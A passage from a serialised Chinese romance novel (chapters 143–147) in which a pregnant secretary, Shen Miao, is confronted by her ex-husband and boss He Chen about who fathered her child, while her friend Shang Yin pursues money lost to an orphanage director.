具体见面的时间,还没定,但是对方不收钱,这个面就得见。
“想办法把钱给他,尽量别见面。”
沈渺不想让商音冒险。
商音点头,“嗯,我知道,浅姨这边我盯着,我们两个闯荡江湖这么多年,没被社会上的人毒打,被浅姨坑了一把,算是阴沟里翻船了。”
她对浅姨算是彻底失望了。
想暴打浅姨那一顿,其实不完全为钱。
钱虽然重要,但卷卷更重要。
被告知得了白血病,在医院里每天扎针,被剪了头发……
这会给她内心留下阴影的。
昨晚两人几乎一夜没睡,回到家里,商商闹着找商音。
商音补觉的计划泡汤,她抱着商商在客厅里玩,让沈渺回屋休息。
沈渺毕竟是孕妇。
月份渐大,沈渺感觉身体笨重了些,而且很疲倦。
她足足睡了一下午。
天快黑了时,她悠悠转醒。
手机上,有贺懿发来的消息。
【受不了了,渺渺,我要跟你吐槽,程唯怡她妈住院,程家以此为借口,要把婚期提前!】
【她妈那是隐性遗传病,要不了命,可有的活呢,为了赶快跟我哥结婚,程唯怡真是无所不用其极。】
沈渺坐起来,拢了拢长发,看着手机上的消息,大脑宕机。
——
医院。
明黎艳在病房陪着孙易琴。
贺忱跟程唯怡在外面。
男人站在吸烟区吸着烟,收拢的眉骨皱成一个‘川’字。
缭绕的烟雾氤氲在他面庞,一脸的高深莫测。
“贺忱哥,我妈唯一的心愿,就是希望我早点结婚。”
程唯怡声音带着哭腔,“我不想让她留遗憾。”
贺忱将烟从薄唇上拿下来,缓缓回头。
“秦川说,阿姨不会有生命危险。”
“秦川是妇产科大夫,他说了不算。”
提到秦川,程唯怡的手紧紧握着。
贺忱提醒道,“秦川双修医学,而且阿姨就算有问题,也足以撑得到我们结婚那天。”
婚期已经定了,日子一天天过去,婚期是越来越近的。
可程唯怡的危机感,是越来越浓的。
她失去了随时随地去百荣找贺忱的特权。
已经很久没有跟贺忱好好的见面,聊天,吃饭了。
筹办婚宴他不管,婚纱礼服他也让她自己处理。
他若是工作忙,她怎么也要忍一忍。
可,他有空管沈渺。
“如果我想提前结呢?”
贺忱,“那你就想想。”
程唯怡:“……”
男人掐灭烟,丢掉眼底,挥手散了散眼前的雾气。
“不必太过担心,回去吧。”
他看到程唯怡的眼睛哭红了,安慰了一句。
说完,他朝电梯走去。
程唯怡紧咬着嘴唇,看着他进入电梯离开。
她只能转身回病房。
孙易琴坐在病床上,面色红润。
她正将一条红色的朱砂手串拿给明黎艳看。
“前些日我上山,为孩子们结婚的事情祈福,大师说有些不顺,让我买这个珠串压一压,可是……婚事能提前就提前,省得我这心里老不踏实。”
明黎艳看了眼那珠串,“多少钱买的?”
“两万二。”孙易琴伸出两根手指头。
“以后这种白挨坑的事儿,少干。”明黎艳一听,脸都黑了。
孙易琴,“黎艳,我这人就是疑心病重,那大师一说我就害怕,你说订婚宴闹出乱子,结婚……不会出事吧?”
她不提订婚宴还好,提了明黎艳的脸更黑了。
那事儿,还不是怪程唯怡自己?
“哎呀行了,贺忱答应的事情,什么时候变卦过?婚期都定了,你别折腾了,以后再闹这出,我可不给你圆场。”
明黎艳说完,看到程唯怡进来,她站起来。
“好好照顾你妈,贺忱忙,别总为这种事情折腾他了,你对婚礼有什么想法可以跟我说,我没空的时候让小懿陪着你去。”
程唯怡垂下眼帘,面色难掩失落。
贺懿不喜欢她,明黎艳又不是不知道。
“你跟贺忱都要结婚了,以后是贺懿的大嫂,多跟贺懿走动走动,别让外人看了笑话。”
明黎艳这是让程唯怡主动跟贺懿示好,去搞好关系。
“只要贺懿好沟通,唯怡这儿什么都行。”
孙易琴暗示着,贺懿看着好说话,可不是好处的性子。
也不知怎么的,跟沈渺那个低等人走得近,反而跟程唯怡一直不对眼。
不知明黎艳是没听懂,还是听懂了装不懂。
她将包挂在臂弯上,往外走,“行了,好好歇着吧,我先回去了。”
“唯怡,快送送你伯母。”孙易琴给程唯怡使眼色。
“好。”程唯怡转身去送明黎艳。
明黎艳在门口停下,示意程唯怡不用送,“我去找贺忱聊两句,你照顾好你妈就行了。”
说完她关上门走了。
高跟鞋声渐行渐远。
程唯怡转过头来,看向孙易琴。
“怎么?贺忱不同意把婚期提前?”
孙易琴看程唯怡脸色,就知道这事儿没谈拢。
程唯怡点头。
“你伯母也不松口。”孙易琴叹息了声,“但你伯母说得对,贺忱答应的事情就不会变卦,你们青梅竹马感情也有,你到底在怕什么?”
程唯怡犹豫了一下,坐到孙易琴身边去,附在孙易琴耳边低语了几句。
孙易琴瞪大眼睛,倒吸一口凉气,眼睛都翻白了。
“你,你糊涂啊!”
143.怀孕这么久了,他还不打算娶你吗
“妈,我喜欢贺忱哥,他不论是家世还是自身条件都是最好的,我一定要嫁给他!”
‘一定要’。
程唯怡说这三个字时,语气加重,更为清晰。
孙易琴却是一脸的无奈,“你太冒险了,这件事情婚前让贺家人知道,你跟贺忱的婚事就完了,而婚后你没办法跟贺忱交代啊!”
“你放心,只有贺忱哥一个人知道,至于婚后的事情……就等婚后再说。”
程唯怡抓住孙易琴的手,“妈,所以我不想等,我怕出差错!”
孙易琴脑瓜子嗡嗡的,这事比她的病还要她的命。
“你让妈缓缓……”
她一下又一下地抚着心脏,眼前一阵阵发黑。
好一会儿,孙易琴冷静下来,她反拍了程唯怡的手两下。
“事已至此,就只能赌到底,只要不出乱子你这个贺少夫人的位置是稳了的,听妈的话,等……”
——
明黎艳提前给贺忱发了消息,贺忱在医院外等着她。
她拉开车门上去,车门未完全关上时,发问的话已经开了口。
“你最近怎么搞的?要结婚了,跟唯怡的关系反而不好了,让她人心惶惶,闹了一出又一出。”
贺忱发动引擎,骨节分明的手转动方向盘,驱车驶入车流。
“是她自己想多了。”
“你性子冷,她肯定没有安全感,都打算结婚了就好好对人家。”
明黎艳现在对程唯怡也没像以前那么包容了。
从他们在一起,订婚到决定结婚,闹出的这些事情。
不是损害贺家名声,百荣利益,就是给贺忱带来负面影响。
“至少别再闹出乱子来,贺家的脸都丢得差不多了。”
贺忱鼻腔里发出一个单音节。
见他如此漠然,明黎艳只觉得胸腔里灌满了凉气,哇凉哇凉的。
这门婚事她是贺家唯一一个双手赞同的。
要真闹出事情,她都没办法交代。
只希望婚前,别再出任何乱子了!
程家闹出的这些小动静,贺家人一眼就能看透他们的目的。
母子两人刚进家门,贺老夫人就放下茶盏,悠悠然问了句。
“婚礼,提前了吗。”
贺忱放下车钥匙换鞋进屋,嗓音如常,“没有。”
明黎艳跟进来说,“易琴的病不严重,她也没有提前的意思,就是自己吓自己,我让她好好养着。”
她给程家圆和了两句。
贺老夫人给贺忱竖了个大拇指,“咱们贺家人,怎么也不能让一个女人给拿捏了。”
说罢,她看了贺岭山一眼,“有一个没出息的,就够了。”
贺岭山:“……”
“小懿呢。”贺忱扫视一圈,“她最近怎么没去公司。”
贺老夫人往楼上看了一眼,“在房间,最近她部门太忙了,那个主管把她当丫鬟使,她避避风头。”
贺忱抬脚朝楼上走去。
他敲响了贺懿的房门。
“谁啊?”
“我。”
房内一阵杂乱的声音,夹杂着贺懿拔高的音量,“你等下,你先别进来!”
约莫五六分钟,房门才被打开。
贺懿穿着浅米色的小黄人睡衣,头发跟鸡窝一样。
她将门打开一条缝,探出头来看贺忱。
“哥,你找我有事?”
“让开。”贺忱薄唇轻启,吐出两个字,威压十足朝贺懿灌去。
贺懿吞吞口水,‘哦’了一声,把门打开。
清一色浅粉色,可爱的风格与贺忱那副老成的样子格格不入。
他拧着眉进去,在床尾的沙发上坐下,“说说,这几天不去上班,什么情况。”
“奶奶没跟你说吗?”贺懿反问。
“我要听你说。”贺忱双腿叠放,双手穿插自然放在身前。
他指腹轻轻圈绕着,一副肃谨的样子。
贺懿皱了皱眉,“部门主管他想追我,我拒绝了,他就开始给我穿小鞋,哥,你给我换个部门吧?”
这是她没敢跟贺老夫人说。
不然贺老夫人能提刀杀公司去,让主管睁大狗眼,撒泡尿照镜子看看他自己啥德行的。
那她的身份可就曝光了,她还想在公司做两年‘卧底’玩玩呢。
“我知道了。”
贺忱避而不答,“等我把他安排掉,你就回去上班。”
贺懿眼睛一亮,“有靠山就是好!哥你啥时候安排?我明天回去上班?”
“先不急。”贺忱顿了顿说,“上班后你没好好休息,在家玩两天。”
“?”贺懿瞪大眼睛,打量着贺忱。
不对劲,贺忱只会压榨她,什么时候主动让她玩儿两天过?
“沈渺申请了调职,过两天就要走了,你抽时间去见见她。”
贺忱意有所指。
贺懿早就听说了,“我早就想约沈渺了,但我又怕给你添麻烦。”
“给我添什么麻烦。”贺忱反问。
“还不是程家那边,万一让她们知道我约沈渺,肯定又不高兴。”
这两天,程唯怡时不时就给她发消息,试图跟她搞好关系。
可程唯怡的目的性太强了,她都热情不起来。
昨天程唯怡就忍不住问了,她为什么对沈渺那么好,对程唯怡就不行?
“没什么不高兴的。”贺忱示意她,“你该怎么做就怎么做。”
贺懿立马就拿过手机,又给沈渺发消息,“真的?那我现在就约她,商场新开了一家烤鱼店,她最爱吃鱼了,带她去尝尝。”
贺忱颔首,复起身朝外走。
走到门口,他停下来又说了句,“如果发现她有不对的地方,及时告诉我。”
贺懿没听出他玄外音,挥着手,“知道了知道了,你赶紧走吧。”
贺忱走出她房间,关上门,折身下楼。
沈渺答应跟贺懿见面,但她换了一家餐厅。
怀孕后,她不爱吃鱼了,就算没了孕反吃鱼也会忍不住想吐。
“程家想把婚约提前,我哥不愿意,最后还是原定日子,奶奶可高兴了。”
贺懿见到沈渺,喋喋不休讲贺忱跟程唯怡的事情。
沈渺静静听着,眼帘轻垂卷翘的睫毛轻颤了两下。
“提前也好,等待太难熬了。”
程唯怡盼着跟贺忱结婚,她又何尝不是?
盼着他们结婚,盼着自己能早点离开,盼着早点把孩子生下来。
“渺渺,你跟何之洲怎么样了?”贺懿以为她所谓的等待,是还没等来何之洲娶她。
贺懿忍不住说,“你都怀孕这么久了,他还不打算娶你吗?”
144.怀孕的事情,我看你怎么解释!
沈渺呼吸一滞,拿着筷子的手哆嗦了下。
筷子应声落桌,砸在碗碟上,清脆的声音落入沈渺耳朵里,一下就慌了她的心律。
“你,说什么?”
“哎呀,其实我和奶奶早就知道你怀孕了。”
贺懿轻拍了下自己的嘴,她又说漏了!
“我也知道,你这个孩子是何之洲的,奶奶想认你当干孙女,就是给你撑腰,让你有足够的身份进何家的门……”
沈渺脑袋嗡嗡作响。
她怀孕的那一刻,就知道自己这个普通人,跟背景雄厚的贺家没有任何的对抗性。
所以离开京北,才是悄然无声生下这个孩子最好的办法。
没离开是计划之外的事情,被发现也是迟早的事情。
可她万想不到,贺老夫人跟贺懿竟然早就知道了。
更惊讶,她们居然认为这个孩子是何之洲的。
她大脑飞速运转,想知道哪个环节出了错。
贺懿见她脸色白了几分,忙说,“你别怕,这件事就我跟奶奶知道,爷爷都不知情,奶奶怕知道的人多了走漏风声,给你带来麻烦。”
“你哥也不知道?”沈渺吐字有些费力,此刻她的心是卡在嗓子眼里的。
贺懿点头,“当然了,他跟何之洲是死对头,他要是知道了,你岂不是遭殃了?”
听到贺懿的话,沈渺的眼泪差点儿没掉下来。
是对贺老夫人跟贺懿为她着想的感动。
是贺忱与真相失之交臂的庆幸。
“不过你怎么又要申请调到分公司去呢?”
贺懿不明白,“何之洲知道吗?”
沈渺缓了缓情绪说,“他……知道,我有计划和打算,谢谢你跟奶奶为我做的一切,再帮我跟奶奶说声对不起。”
她愧对于贺老夫人的好,更愧对于贺懿对她的知无不言。
“我们都理解你,别搞这么沉重,你有需要帮忙的地方一定要跟我们说。”
贺懿竭尽全力地帮她。
一顿饭,吃得沈渺心里不是滋味。
贺懿察觉到她的不对劲,以为是拆穿她怀孕的事情,她不自在了。
“奶奶,你说渺渺除了让我跟你道谢,还让我跟你说对不起,这是为什么?”
贺家,贺懿刚回来,就依偎到贺老夫人身边,边吃水果边将见面的事情都说了。
贺老夫人眉宇染上一丝心疼,“大概是她不肯接受我们帮忙,觉得过意不去吧,这傻孩子……”
“那我们就真不管了吗?”贺懿递到嘴边的水果,又放回去,“我好担心她会被何之洲那个渣男坑了。”
“罢了,顺其自然吧。”
贺老夫人有心无力,因为沈渺跟贺忱一样。
都是个有主意的。
贺懿咂咂嘴,靠在贺老夫人肩膀上,“奶奶,将来我的婚事,你一定也要保持这种想法,帮我跟我妈对着干,行吗?”
“你是真不怕贺家鸡犬不宁。”
贺老夫人戳了戳她的头,“我早就看你妈不顺眼了,她除了选你爸选对了,选儿媳妇的眼光可真不咋地,正好借着你这儿,跟她干。”
贺懿抱着贺老夫人的身体撒娇。
“生死看淡,不服就干,咱们两个还能干不过她一个人吗?”
两人笑声未落地,贺懿的手机乍然响起。
是贺忱打来的电话。
她揉了揉笑得发酸的苹果肌,接电话,“哥。”
“见过沈渺了?”贺忱直入主题。
贺懿‘嗯’了声,“对,我刚回来。”
那端静默数秒,贺忱问,“她没跟你说什么?”
“说什么?”贺懿‘嘶’了一声,“你怕她说你坏话吗?没有的事儿,我跟人家提你,人家理都不理的。”
贺忱:“……”
他声音又沉了些,“那你没看出些什么?”
“你还真别说,我看出来了。”贺懿声音突然一沉。
“什么。”
贺懿,“沈渺是真烦你,不然她也不能提离婚,现在还要申请调职,哥,你到底干了什么,让她对你这个避之不及?”
连贺懿都看出来,沈渺在躲他。
“现在滚到公司来上班,还来得及,不然这个月奖金全扣。”
贺忱丢下两句话,直接挂了电话。
贺懿,“啊?欸不是,你让我好好休息两天的啊……”
她着急忙慌上楼换衣服,一边在心里埋怨贺忱一边冲向公司。
这端,结束通话的贺忱将领口扯开几颗。
电脑屏幕暗着,映出他轮廓紧绷的面容。
他舌尖抵着腮帮,俊朗无双的面容,肃谨凝重,又夹杂着一丝很深的不解。
不知过了多久,他打出一通电话去,“我要让沈渺主动承认,她怀孕的事情。”
“我是医生,不是许愿池里的王八。”
那端的人静了几秒说。
贺忱不为所动,“越快越好。”
——
这层窗户纸,就算没捅破,也已经不堪微风了。
沈渺悬着的心,离吊在胸口不远了。
结束跟贺懿的饭局,她回到商音那儿,一只脚刚踏进门。
就听商音说,“你少给我叽叽歪歪的,赶紧把卷卷给我送回学校去!”
听到开门声,商音往这边看了一眼,与她对视后用口型说出‘浅姨’。
沈渺放下包轻手轻脚走过来,在商音旁边坐下。
“行,证明的事情交给我们了,明天早上给你送过去,你把钱准备好,明天也给我。”
不知浅姨说了什么,商音的脸色缓和了些。
电话挂断,沈渺问,“怎么了?”
“我打电话问她钱的事情,她避而不谈,跟我说卷卷想回学校,差一道手续,医院开具的健康诊断证明。”
现在校方认为,卷卷身患绝症不让她回去上学。
哪怕浅姨说生病是误会,学校也不同意,让她拿着卷卷的健康证明回去。
“你不是有秦川的联系方式吗?你再让秦川帮个忙?”
商音把难题甩给沈渺。
按理说,卷卷回医院做个体检就行。
可是校方有意为难,不想再让卷卷入学,明天就要看到健康证明。
沈渺想,秦川在医院人脉虽然不广,但弄一份健康证明应该不难。
她硬着头皮给秦川打的这通电话。
“我现在就去帮你办,你来医院找我。”
不知是出于对卷卷的同情,还是其他,秦川答应得很爽快。
“我今天下午约了跟粉丝大哥一起吃饭,渺儿,你一个人去行吗?”
商音犯难,她连现金都准备好了,见一面把钱还了。
对方客气就多聊两句。
如果对方别有目的,她把钱扔下就跑。
“我一个人去吧。”
沈渺屁股都没坐热乎,就又起来了,马不停蹄地朝医院赶过去。
下午四点钟,医院逐渐安静。
沈渺来的时候,秦川的诊室里没有病人。
他端坐在桌前,手里把玩着一直碳素笔。
他身后,检查室的门虚掩着一条缝。
但里面静悄悄的,应该也没有人。
“秦医生。”
沈渺把办公室打量了个底朝天,才推门进来。
秦川朝她颔首,“沈秘书,怀着孕还总是奔波,要小心腹中孩子。”
“我的孕检不是都挺好?谢谢秦医生关心。”
沈渺客气着,脸上漾开客气又淡然的笑容。
下一秒,检查室虚掩的门突然开了。
贺忱那抹颀长的身影,赫然映入眼帘。
他双手插兜走出来,目光直勾勾盯着沈渺。
那双眼睛不像是惊讶沈渺怀孕了?
更像是质问:怀孕的事情,我看你怎么解释。
“东西在这,你们聊,我去看个病人。”
秦川丢下健康证明匆匆走了。
办公室门被关上,空气一下稀薄不少,沈渺悬着的心,这下是彻底死了!
145.贺忱:沈渺,这个孩子是我的吗!
撂挑子走人的秦川,桌上放着的健康证明。
五一不在向沈渺宣告,这是一场鸿门‘证’。
而不是巧合。
既然是早有预谋,也就意味着,贺忱已经知道,她怀孕的事情了。
她还没从林昭知道她跟贺忱睡过的提心吊胆中回过神来。
今天中午,贺懿那儿就让她方寸大乱了。
这短短几个小时……
沈渺早就做好了贺忱会知道的准备。
可当这一刻真的来临时,她还是无法自控的慌了。
贺忱拉开椅子坐下,双腿微敞姿态慵懒地看着她。
他那双浅褐色的眼眸,凝着她,一眨不眨。
“怎么不说话。”
若说他以前怀疑沈渺有意瞒着他怀孕的事情。
那现在,他可以肯定沈渺就是在刻意隐瞒。
他那张俊秀的脸上写着两个大字,解释。
“贺总。”
沈渺轻咬了下内唇,深吸一口气,调整好情绪。
“这么巧,您也来找秦医生,我请秦医生帮了一点小忙,已经办完了,如果没有其他事情,我先——”
“沈渺。”
贺忱很少直呼她的名字。
还是用如此严肃的语气。
稀薄的空气一下僵住了,沈渺呼吸都逐渐变得困难。
许是察觉到她的不安,肚子里的小家伙也狠狠踹了她肚皮两脚。
“你怀的……”
“贺总。”
沈渺急于开口,打断他的追问。
“我不是刻意隐瞒怀孕的,只是没有找到合适开口的机会。”
她有点儿得了便宜卖乖,自己不说还要倒打贺忱自己没发现的意思。
男人轮廓分明的面容沉下来,“倒是我的不是,不够体恤下属。”
“身为上司,贺总已经很合格了。”
沈渺垂着眼帘,低眉顺眼的样子,细微可见的心虚被隐藏得很好。
上司。
沈渺给她刻意隐瞒怀孕添了一个很好的理由。
他们是上下司的关系,贺忱又是男的,她总不能无缘无故突然说:老板我怀孕了。
前夫加男上司,两个身份不论哪一个,她来这么一句,都会让人想入非非。
贺忱突然觉得自己变得没理。
她唇红齿白,寡淡肃然的小脸透着红润,看上去有几分无辜。
办公室外时不时传来声声嘈杂,愈发衬得这个逼仄空间令人窒息。
“贺总,没别的事情我就先走了。”
沈渺向他走了一步,倾身拿过健康证明。
随着她的动作,单薄的粉色裙衫晃动,熨贴着在她身上,小腹的弧度显现出来。
贺忱的目光那微微凸起的肚子上,心头像是被刺了一下,说不出的异样。
她的肚子里,怀上了别的男人的孩子。
他看着她转身离开,一双纤细白嫩的手,搭在门把上。
门开一条缝,身后男人的声音沉闷又不容置疑。
“沈渺,这个孩子是我的吗?”
沈渺的手骤然收缩,指尖一下就白了。
她脸上的血色,都在一瞬间褪得一干二净。
好在除了那扇白色的冰冷木门,没有人能看到。
他是不是从林昭口中知道,他们睡过那一晚了?
不然,他怎么会问出这样的问题?
沈渺紧咬内唇,唇腔里化开腥锈味儿。
她身体紧绷,呼吸缓慢,大脑有些缺氧,眼前的视线都变得模糊不清。
“离婚半年才怀,贺总,孩子真不是你的。”
“那这个孩子是谁的。”
贺忱问完,才意识到自己那句话不妥。
可他还是静等着沈渺的回答,心头像是被狠狠重击了一下。
他又出乎预料不死心地追问了一句。
“跟贺总没关系。”
沈渺说完这话推开门往外走。
刚走出去没两步,手腕一紧就猛地被男人拉住。
是贺忱,他追出来了。
“你在怕什么?”
“你在干什么?”
沈渺佯装镇定,被他紧紧束缚在墙壁与他胸口之间,她反问着。
贺忱薄唇倏地抿成一条直线。
他在干什么?
问他的前妻,他的下属,怀了谁的孩子?
“你跟何之洲不清不楚,他是我的死对头你的我的下属,我不该问清楚这个孩子是谁的吗?”
他的理直气壮,令他的话语十分薄凉,讥诮。
沈渺抬着头,黑白分明的眼眸看着他咄咄逼人的样子。
她的眼眶不禁微红,心像泡在柠檬汁里,又酸又涩。
她以为,至少贺忱是了解她的。
她就算再没有分寸,怎么会跟何之洲扯到一起去呢?
可——
“沈渺。”
不远处,突然传来一道声音。
沈渺循声看去。
张科研站在不远处,他手里拎着公文包,像是刚下班。
他面色有些不自在,但硬着头皮朝他们走过去。
此刻,走廊只有他们三个。
贺忱也抬起头看过来,他微眯的长眸盯着渐渐走过来的张科研。
“贺总。”
张科研朝贺忱微微颔首,“又见面了,你……能不能放开我未婚妻。”
沈渺呼吸一滞。
贺忱瞳仁一深。
“抱歉,我跟沈渺还没有结婚,所以她怀孕的事情暂时隐瞒了,希望贺总理解一下,主要是我母亲生病严重,不方便办婚礼,又怕给她带来影响。”
张科研字正腔圆,给出的理由滴水不漏。
贺忱手上的动作一松。
沈渺趁势在他怀里出来,站到了张科研身边。
她轻轻揉着有些发红的手腕,却是不敢看贺忱的脸色。
“贺总,我们先走了。”
张科研附声,“贺总,再见。”
他转身跟上沈渺,两人身形渐渐远去。
他们身形交错的背影,落入贺忱的眼底,刺得贺忱眼睛难受。
贺忱抵着墙,掏了一根烟,咬在嘴里点火时,火光雀跃颤抖。
他点了好几次,才将火点着。
烟支缓慢燃烧,烟雾缭绕,蕴在男人的轮廓。
他一言不发,站在长廊里,一根接一根地吸烟。
——
医院公园。
“抱歉,擅自做主了一次,会给你带来麻烦吗。”
张科研站在树荫下,他面含歉意。
沈渺摇头。
他的出现,解救她于水火之中。
但她有些不安,“但这样或许会给你带来麻烦。”
“你帮了我那么多次,我该还你这个人情,不会有麻烦的。”
张科研指的是,沈渺帮他母亲找医生,又以交往为目的去见了张母的事情。
他很会拿捏分寸,也是个聪明人。
沈渺不是个乱搞男女关系的人,她的孩子不会是何之洲的。
至于是谁的,他心如明镜。
146.谢谢你了,我们两清
但沈渺避而不谈,“那就谢谢你了,我们两清了。”
张科研颔首。
“再见。”沈渺转身离开。
坐上出租车的那一刻,她身体里紧绷的弦才彻底松开。
像是被卸了力气那般,瘫靠在椅背上,脸色一阵青白交加。
一个小时后,她与商音前后脚,在家门口遇上。
她从车上下来时,踉跄了一下,商音冲过来搀扶住她。
“你的手怎么这么凉?”
天气炎炎,沈渺的手冰凉,小脸煞白。
商音的脸色凝重,“出什么事情了?”
沈渺反手关上出租车门,稳了稳心神后拉着商音往家里走。
后怕让她有些失音,回到家中,商音给她倒了两杯温水。
好一会儿,她才缓过来,事无巨细地说了。
商音听得直吸凉气。
“那张科研来得可真及时,幸好你以前帮过他,不然这一劫你逃都逃不掉。”
沈渺擦了擦额头的细汗,指尖微凉。
贺忱将她拦下,那双墨色的瞳仁盯着她看的时候,她仿佛在他眼睛里看到了争夺抚养权时的冷漠和无情。
那一刻,她的心被撕扯得稀碎。
“好了好了,不怕了。”
商音抱着她,轻声安抚,“我当初不敢随便找个男人生商商,就是怕涉及抚养权的问题,你这……不过怀孕是意外,也不能怪你,贺忱知道了也好,他不会想到孩子是他的……”
这话提醒沈渺了。
“林昭知道那晚我跟贺忱睡过。”
沈渺拍了拍商音的手,商音松开她。
她起身在包里拿出手机,给林昭发消息,约林昭明天早上见一面。
林昭消息回得很快:【沈秘书,我知道你见我是为了什么,你放心,我什么都不知道。】
本着多一事不如少一事的原则,林昭选择了装不知道。
沈渺舒一口气。
共事这么久,她了解林昭,言而有信。
“你这个圈子里,接触的都是聪明人。”
商音看到林昭回的消息,劝慰沈渺,“没事的,贺忱会追着问可能是觉得你一直瞒着,疑神疑鬼的。”
沈渺轻点了下头,缓过神来,捅破窗户纸不再提心吊胆,她整个人轻松了不少。
“今晚不直播了,我们早点休息,明天一早去孤儿院,把东西给浅姨,顺便把钱拿回来。”
商音把健康证明放到包里,撸起袖子进厨房,准备晚餐。
沈渺整顿好情绪,跟进去帮忙。
“把钱还给粉丝了吗?”
她问商音。
商音手上的动作一顿,片刻恢复正常,头也不回的回答。
“还了,人还挺好的,看着得比我大十多岁,一直喊我妹子,还说下次有机会再出来喝茶,我嘴上答应,但哪里还有下次?咱们就快走了吧。”
是啊,快走了。
沈渺心里重复着她最后一句话。
次日一早,两人去孤儿院,将健康证明给了浅姨。
“是沈渺托人办的吧?”
浅姨接过证明,试探性地问,“是你那个老板帮的忙?”
“这不是你该管的事情,把钱给我。”
商音双手揣兜,一脸不愿多说的表情。
浅姨起身,给两人倒了一杯热水,然后在她们对面坐下。
“我知道,我这些年对你们不算好,可我伺候这么多孩子,当初也照顾了你们,没有功劳也有苦劳……”
商音打断道,“你想坐牢?”
浅姨一噎。
“少给我说些有的没的,今天你要不把钱拿出来,我就送你去警局!”
商音一点儿情面也不给。
沈渺亦是一脸没有回转余地的表情。
“你听我把话说完!”浅姨加快语速,“你们两个离开京北,以后就别再回来了,各自管好自己的孩子,不用再给孤儿院打钱了,这些钱也别要了,还不行吗?”
商音冷笑道,“你的字,我连标点符号都不信。”
浅姨当即说,“我可以签保证书。”
“你的保证一文不值。”商音站起来,端起水杯重重放下,水溢出来滴在桌子上。
沁出的一颗颗水珠,倒映着她剑拔弩张的面色。
见商音这儿说不通,浅姨看向沈渺。
“我跟商音正是用钱的时候,那些钱你必须还回来,保证我们未来几年的开销。”
沈渺也不给她反转的余地,“我们不会不管孤儿院的孩子,前提是你别把我们逼急了。”
浅姨脸色有些不好,见两人都不松口,她破罐子破摔。
“钱没了!别说今天,这辈子我都还不上,你们要是这么为难人,就去报警吧!”
钱没了?
沈渺和商音这些年辛辛苦苦的积蓄,这才多长时间,就花没了?
“孤儿院每个月的开销是多少,我和沈渺一清二楚,你骗谁呢?”
商音根本不信,“行,走吧,去警局!”
她拉着浅姨往外走,直奔警局。
孤儿院的义工请假了,商音带着浅姨去警局,沈渺只能留下来照顾孩子。
约莫一个小时,商音给沈渺打来电话。
“我托了人,调查了浅姨的账户,钱真没了。”
这笔钱,交给浅姨时,她们谁也没想过还能回来。
可钱用在刀刃上,跟被坑走,不是一个概念的。
钱到底去了哪里,有待考察。
总之,就算把浅姨送到警局,钱也回不来。
不多时,商音带着浅姨回来了。
孤儿院还需要她。
“孩子们过得紧巴巴的,她把钱花哪儿去了?”
回家的路上,商音实在憋不住地问。
一簇簇阳光照进车内,正中午的太阳足,温度逐渐燥热。
沈渺把空调打开,她想了想说,“这些年,她要多少我们给多少,从未关注过孤儿院的具体开销,这钱以后不能再稀里糊涂地给了。”
钱都没了,浅姨嘴上说这些钱不还以后不再管她们要了。
可沈渺觉得,还会要。
“我得查查,她到底把钱花哪里了。”
商音非得把事儿弄清楚了。
几十万,一个普通人怎么在短短几天内,花掉这么多钱呢?
沈渺正思考着时,手机突然响了一声。
林昭给她发了一条消息。
【沈秘书,你调职的事情贺总已经考虑好了,你猜猜他怎么安排的?】
沈渺眼皮一跳,回:【怎么安排的?】
147.婚照结,孩子也要!
【先保密,给你一个惊喜,总之这次你是要高升了。】
林昭卖了个关子。
贺忱秘书,对公司职员来说,已经是最高的位置了。
还要高升?
“咋,他把公司送你了,让你当百荣总裁?”
商音一想就乐了,“那咱们下半辈子,岂不是不愁吃喝了?”
沈渺白她一眼,“他就算真给我,我也不敢要。何况,他没有理由给我。”
不说那是百荣,那是贺家产业,还有多少董事盯着。
就算这是贺忱的私有财产,他也没道理给她。
“百荣是不是没有总经理?”
商音想起什么似的说,“他该不会提拔你当总经理吧?”
沈渺想都不想就说,“虽然百荣确实没有总经理,但这绝对不可能,总部的高管职位基本都是跟董事会沾亲带故的,我没那个资格。”
“哎呀!”商音闷事儿,“你快想,快想他到底要提拔你当什么!憋死我了……”
不是沈渺不想,而是沈渺想不透。
贺忱向来不按套路出牌。
被拆穿怀孕的事情,把她开除了她都不意外。
偏偏是提拔高升……
——
以往整洁干净的办公室,此刻被呛人的烟气笼罩。
林昭敲响办公室门,在得到男人一个‘进’字后,他推门而入。
刚走两步,就被呛得掩唇咳嗽起来。
缓过神,他快步走向窗边,将窗户开到最大。
“贺总,明天早上有晨会,您早点休息吧。”
下班前,林昭例行公事般过来提醒贺忱。
此刻,贺忱坐在沙发上。
那张轮廓分明的面容看起来与往常无异。
可白色的衬衫松垮垮地挂在他身上。
扣子敞开着,袖口挽起,领带丢在茶几上。
烟灰缸里堆满的烟蒂,无一不在宣告,他状态极差。
“知道了。”
贺忱嗓音低沉,“把工作调整好,明天开始恢复正常工作。”
林昭颔首,“是,贺总。”
这两日,贺忱的工作耽误了不少。
“贺总,您……找过沈秘书了,是吗?”
贺忱不语,却是默认的意思。
林昭小心翼翼地问,“沈秘书怀的谁的孩子,她说了吗?”
不知是不是错觉,林昭觉得他问完这话,贺忱的脸色更黑,周围的气息更冷了。
“你很闲?那留下来加班。”
“没!”林昭忙不迭摇头,“我就是想知道,沈秘书要是怀的是您的孩子,而您快跟程小姐结婚了,您会怎么做?”
他这话刚落地,贺忱的眉骨拧得能夹死人。
“婚照结,孩子也要。”
不知想到什么,他眸光一下锐利不少。
复他看向林昭,“这样的答案,你满意?”
林昭一激灵,他只是想知道答案,好确定自己隐瞒这事儿,到底是不是正确的,没别的意思啊!
现在看来,隐瞒是正确的!
“是我逾越了,对不起贺总,您早点休息,我先走了。”
说完他溜之大吉。
走出贺忱的办公室门,他轻拍着胸脯。
可是一想到,贺忱给沈渺安排的职位,他的面色又复杂起来。
都说他跟了贺忱这么多年,是贺忱肚子里的蛔虫。
可他自己清楚,他也就能看懂贺忱脸色,跟不跟摸不透想法。
——
林昭不会跟沈渺开玩笑。
说高升,最起码不会是坏事。
可等待的过程,依旧让沈渺惴惴不安。
两天后,她收到了人事部发来的邮件,让她到公司办理新职位的手续。
一早,沈渺换了套职业装,前往公司。
她在路上,就给张敏发消息打听新职位是什么。
张敏:【是郭经理亲自操办的,我这个职位都没资格知道,听说你这次是要晋升了,因祸得福啊!】
【我就说绯闻那事儿,不能怪你,我听说又是程小姐搞出来的?贺总可能是心中有愧,想弥补你。】
沈渺把手机关了。
弥补?她不敢想。
半小时后,商音的车从百荣门口停下。
“半小时,你要是不出来我就冲进去。”
她在手机上倒计时半小时,这时间足够沈渺走完调职流程的。
沈渺不由得好笑,“这里是公司,不是土匪窝。”
“这儿绝对比土匪窝还可怕。”
